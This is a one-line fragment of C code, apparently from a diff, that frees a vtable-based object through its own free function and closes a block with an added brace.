vtable_out->free(vtable_out); +}